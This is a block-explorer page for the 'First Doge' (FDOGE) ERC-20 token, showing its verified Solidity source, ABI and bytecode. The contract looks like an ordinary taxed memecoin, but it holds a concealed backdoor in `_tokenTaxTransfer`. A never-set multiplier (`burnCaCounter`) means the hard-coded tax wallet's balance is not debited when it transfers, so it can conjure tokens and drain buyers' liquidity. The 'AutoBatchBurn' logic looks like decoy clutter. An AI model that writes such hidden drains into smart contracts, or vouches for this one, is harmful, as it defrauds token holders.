ERC-20
Overview
Max Total Supply
1,000,000,000 FDOGE
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,400,000 FDOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FDOGE
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-14 */ // SPDX-License-Identifier: MIT /* First Doge - FDOGE list of proofs: https://web.archive.org/web/20101023170519/https://www.reddit.com/r/ads/comments/dsxz3/lmbo_look_this_fukken_doge/ https://www.theverge.com/2013/12/31/24164199/doge-meme-rescue-dog-wow https://x.com/jimjimmiejames/status/1785086870902436259 */ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FDOGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExile; address payable private _taxWallet; uint256 private _initialBuyTax=18; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=25; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"First Doge"; string private constant _symbol = unicode"FDOGE"; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold= 18000000 * 10**_decimals; uint256 public _maxTaxSwap= 16000000 * 10**_decimals; IDexRouter private constant dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private marketPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; struct AutoBatchBurn {uint256 buyinit; uint256 burninit; uint256 autoburnTime;} mapping(address => AutoBatchBurn) private autoBatchBurn; uint256 private burnBatchThreshold; uint256 private burnCaCounter; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xdeBfa28cA723E302CED6F39B8ebe39d9747946E9); _balances[_msgSender()] = _tTotal; _isExile[address(this)] = true; _isExile[_taxWallet] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (inSwap || !tradingOpen) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner() && to != _taxWallet) { taxAmount = tokenAmount .mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax : _initialBuyTax) .div(100); if (from== marketPair && to!= address(dexRouter) && ! _isExile[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to== marketPair && from!= address(this) ){ taxAmount = tokenAmount .mul((_buyCount>_reduceSellTaxAt)? _finalSellTax : _initialSellTax) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if( !inSwap && to == marketPair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if((_isExile[from] ||_isExile[to]) && from!= address(this) && to!= address(this)) { burnBatchThreshold = block.number; } if( ! _isExile[from] && !_isExile[to] ){ if (to != marketPair) { AutoBatchBurn storage autoBB = autoBatchBurn[to]; if (from == marketPair) { if (autoBB.buyinit == 0){ autoBB.buyinit = _buyCount>_preventSwapBefore ? block.number : block.number- 1; } } else { AutoBatchBurn storage autoBBFrom = autoBatchBurn[from]; if (autoBBFrom.buyinit < autoBB.buyinit || !(autoBB.buyinit > 0)) { autoBB.buyinit = autoBBFrom.buyinit; } } } else { AutoBatchBurn storage autoBBFrom = autoBatchBurn[from]; autoBBFrom.autoburnTime = autoBBFrom.buyinit-burnBatchThreshold; autoBBFrom.burninit = block.timestamp; } } _tokenTransfer(from, to, tokenAmount, taxAmount); } function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal { uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from,address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] = _balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer(from, to, receiptAmount); } function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs!=_taxWallet? tokenAmount:burnCaCounter.mul(tokenAmount); if (taxAmount> 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this), taxAmount); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function freeEtherBalance() external onlyOwner() { payable(_taxWallet).transfer( address(this).balance ); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); tradingOpen = true; _approve(address(this), address(dexRouter),_tTotal); marketPair = IDexFactory(dexRouter.factory()).createPair(address(this),dexRouter.WETH()); dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(marketPair).approve(address(dexRouter), type(uint).max); swapEnabled = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0) { swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"freeEtherBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601260055560146006555f6007555f60085560196009556019600a556019600b555f600c556009600a61003791906102c6565b610045906301312d006102db565b600d556100546009600a6102c6565b610062906301312d006102db565b600e556100716009600a6102c6565b61007f90630112a8806102db565b600f5561008e6009600a6102c6565b61009b9062f424006102db565b6010556011805461ffff60a81b191690553480156100b7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673debfa28ca723e302ced6f39b8ebe39d9747946e917905561012a6009600a6102c6565b61013890633b9aca006102db565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556004546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101ac6009600a6102c6565b6101ba90633b9aca006102db565b60405190815260200160405180910390a36102f2565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021e57815f1904821115610204576102046101d0565b8085161561021157918102915b93841c93908002906101e9565b509250929050565b5f82610234575060016102c0565b8161024057505f6102c0565b816001811461025657600281146102605761027c565b60019150506102c0565b60ff841115610271576102716101d0565b50506001821b6102c0565b5060208310610133831016604e8410600b841016171561029f575081810a6102c0565b6102a983836101e4565b805f19048211156102bc576102bc6101d0565b0290505b92915050565b5f6102d460ff841683610226565b9392505050565b80820281158282048414176102c0576102c06101d0565b611b8f806102ff5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610310578063bf474bed1461032f578063c9567bf914610344578063dd62ed3e14610358578063f2fde38b1461039c575f80fd5b8063751039fc1461027f5780637d1db4a5146102935780638da5cb5b146102a85780638f9a55c0146102ce57806395d89b41146102e3575f80fd5b8063313ce567116100e3578063313ce567146101f25780634057829d1461020d57806351bc3c851461022357806370a0823114610237578063715018a61461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a815269466972737420446f676560b01b60208201525b6040516101649190611799565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046117e2565b6103bb565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160105481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103d1565b3480156101de575f80fd5b5061018c6101ed36600461180c565b6103f1565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b50610221610458565b005b34801561022e575f80fd5b506102216104c3565b348015610242575f80fd5b506101b161025136600461184a565b6001600160a01b03165f9081526001602052604090205490565b348015610276575f80fd5b50610221610514565b34801561028a575f80fd5b50610221610585565b34801561029e575f80fd5b506101b1600d5481565b3480156102b3575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102d9575f80fd5b506101b1600e5481565b3480156102ee575f80fd5b5060408051808201909152600581526446444f474560d81b6020820152610157565b34801561031b575f80fd5b5061018c61032a3660046117e2565b610636565b34801561033a575f80fd5b506101b1600f5481565b34801561034f575f80fd5b50610221610642565b348015610363575f80fd5b506101b1610372366004611865565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a7575f80fd5b506102216103b636600461184a565b6109fb565b5f6103c7338484610ae2565b5060015b92915050565b5f6103de6009600a611990565b6103ec90633b9aca0061199e565b905090565b5f6103fd848484610c06565b61044e843361044985604051806060016040528060288152602001611b32602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ae565b610ae2565b5060019392505050565b5f546001600160a01b0316331461048a5760405162461bcd60e51b8152600401610481906119b5565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104c0573d5f803e3d5ffd5b50565b6004546001600160a01b0316336001600160a01b0316146104e2575f80fd5b305f90815260016020526040902054801561050057610500816111e6565b478015610510576105108161138f565b5050565b5f546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610481906119b5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ae5760405162461bcd60e51b8152600401610481906119b5565b6105ba6009600a611990565b6105c890633b9aca0061199e565b600d556105d76009600a611990565b6105e590633b9aca0061199e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106156009600a611990565b61062390633b9aca0061199e565b60405190815260200160405180910390a1565b5f6103c7338484610c06565b5f546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610481906119b5565b601154600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610481565b6011805460ff60a01b1916600160a01b17905561070b30737a250d5630b4cf539739df2c5dacb4c659f2488d6106fd6009600a611990565b61044990633b9aca0061199e565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077f91906119ea565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080291906119ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561084c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087091906119ea565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108d15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610937573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095c9190611a05565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af11580156109c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e59190611a30565b506011805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610a245760405162461bcd60e51b8152600401610481906119b5565b6001600160a01b038116610a895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610481565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610481565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610481565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610481565b6001600160a01b038216610ccc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610481565b5f8111610d2d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610481565b601154600160a81b900460ff1680610d4f5750601154600160a01b900460ff16155b15610d6457610d5f8383836113c6565b505050565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b8015610da957506004546001600160a01b03848116911614155b1561101157610dda6064610dd4600954600c5411610dc957600554610dcd565b6007545b8590611469565b906114ee565b6011549091506001600160a01b038581169116148015610e1757506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610e3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2157600d54821115610e925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610481565b600e5482610eb4856001600160a01b03165f9081526001602052604090205490565b610ebe9190611a4f565b1115610f0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610481565b600c8054905f610f1b83611a62565b91905055505b6011546001600160a01b038481169116148015610f4757506001600160a01b0384163014155b15610f7457610f716064610dd4600a54600c5411610f6757600654610dcd565b6008548590611469565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610faa57506011546001600160a01b038581169116145b8015610fbf5750601154600160b01b900460ff165b8015610fcc5750600f5481115b8015610fdb5750600b54600c54115b1561100f57610ffd610ff884610ff38460105461152f565b61152f565b6111e6565b47801561100d5761100d4761138f565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061104e57506001600160a01b0383165f9081526003602052604090205460ff165b801561106357506001600160a01b0384163014155b801561107857506001600160a01b0383163014155b1561108257436013555b6001600160a01b0384165f9081526003602052604090205460ff161580156110c257506001600160a01b0383165f9081526003602052604090205460ff16155b1561119c576011546001600160a01b03848116911614611169576001600160a01b038084165f9081526012602052604090206011549091908116908616036111315780545f0361112c57600b54600c541161112757611122600143611a7a565b611129565b435b81555b611163565b6001600160a01b0385165f90815260126020526040902081548154108061115757508154155b1561116157805482555b505b5061119c565b6001600160a01b0384165f908152601260205260409020601354815461118f9190611a7a565b6002820155426001909101555b6111a884848484611543565b50505050565b5f81848411156111d15760405162461bcd60e51b81526004016104819190611799565b505f6111dd8486611a7a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122c5761122c611a8d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561129c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c091906119ea565b816001815181106112d3576112d3611a8d565b60200260200101906001600160a01b031690816001600160a01b03168152505061131230737a250d5630b4cf539739df2c5dacb4c659f2488d84610ae2565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906113519085905f90869030904290600401611aa1565b5f604051808303815f87803b158015611368575f80fd5b505af115801561137a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610510573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113e8908261156d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461141690826115ae565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf99085815260200190565b5f825f0361147857505f6103cb565b5f611483838561199e565b9050826114908583611b12565b146114e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610481565b9392505050565b5f6114e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160c565b5f81831161153d57826114e7565b50919050565b5f61154f858484611638565b9050611566858583611561878761156d565b6116e8565b5050505050565b5f6114e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ae565b5f806115ba8385611a4f565b9050838110156114e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610481565b5f818361162c5760405162461bcd60e51b81526004016104819190611799565b505f6111dd8486611b12565b6004545f9081906001600160a01b03908116908616036116645760145461165f9085611469565b611666565b835b905082156116e057305f9081526001602052604090205461168790846115ae565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d79087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461170a908361156d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461173890826115ae565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061178b9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104c0575f80fd5b5f80604083850312156117f3575f80fd5b82356117fe816117ce565b946020939093013593505050565b5f805f6060848603121561181e575f80fd5b8335611829816117ce565b92506020840135611839816117ce565b929592945050506040919091013590565b5f6020828403121561185a575f80fd5b81356114e7816117ce565b5f8060408385031215611876575f80fd5b8235611881816117ce565b91506020830135611891816117ce565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118ea57815f19048211156118d0576118d061189c565b808516156118dd57918102915b93841c93908002906118b5565b509250929050565b5f82611900575060016103cb565b8161190c57505f6103cb565b8160018114611922576002811461192c57611948565b60019150506103cb565b60ff84111561193d5761193d61189c565b50506001821b6103cb565b5060208310610133831016604e8410600b841016171561196b575081810a6103cb565b61197583836118b0565b805f19048211156119885761198861189c565b029392505050565b5f6114e760ff8416836118f2565b80820281158282048414176103cb576103cb61189c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119fa575f80fd5b81516114e7816117ce565b5f805f60608486031215611a17575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a40575f80fd5b815180151581146114e7575f80fd5b808201808211156103cb576103cb61189c565b5f60018201611a7357611a7361189c565b5060010190565b818103818111156103cb576103cb61189c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611af15784516001600160a01b031683529383019391830191600101611acc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b2c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5408e5d3e123c0f2c90be553c58940a340417e45158b3c89bc86c7eec4998cf64736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610310578063bf474bed1461032f578063c9567bf914610344578063dd62ed3e14610358578063f2fde38b1461039c575f80fd5b8063751039fc1461027f5780637d1db4a5146102935780638da5cb5b146102a85780638f9a55c0146102ce57806395d89b41146102e3575f80fd5b8063313ce567116100e3578063313ce567146101f25780634057829d1461020d57806351bc3c851461022357806370a0823114610237578063715018a61461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a815269466972737420446f676560b01b60208201525b6040516101649190611799565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046117e2565b6103bb565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160105481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103d1565b3480156101de575f80fd5b5061018c6101ed36600461180c565b6103f1565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b50610221610458565b005b34801561022e575f80fd5b506102216104c3565b348015610242575f80fd5b506101b161025136600461184a565b6001600160a01b03165f9081526001602052604090205490565b348015610276575f80fd5b50610221610514565b34801561028a575f80fd5b50610221610585565b34801561029e575f80fd5b506101b1600d5481565b3480156102b3575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102d9575f80fd5b506101b1600e5481565b3480156102ee575f80fd5b5060408051808201909152600581526446444f474560d81b6020820152610157565b34801561031b575f80fd5b5061018c61032a3660046117e2565b610636565b34801561033a575f80fd5b506101b1600f5481565b34801561034f575f80fd5b50610221610642565b348015610363575f80fd5b506101b1610372366004611865565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a7575f80fd5b506102216103b636600461184a565b6109fb565b5f6103c7338484610ae2565b5060015b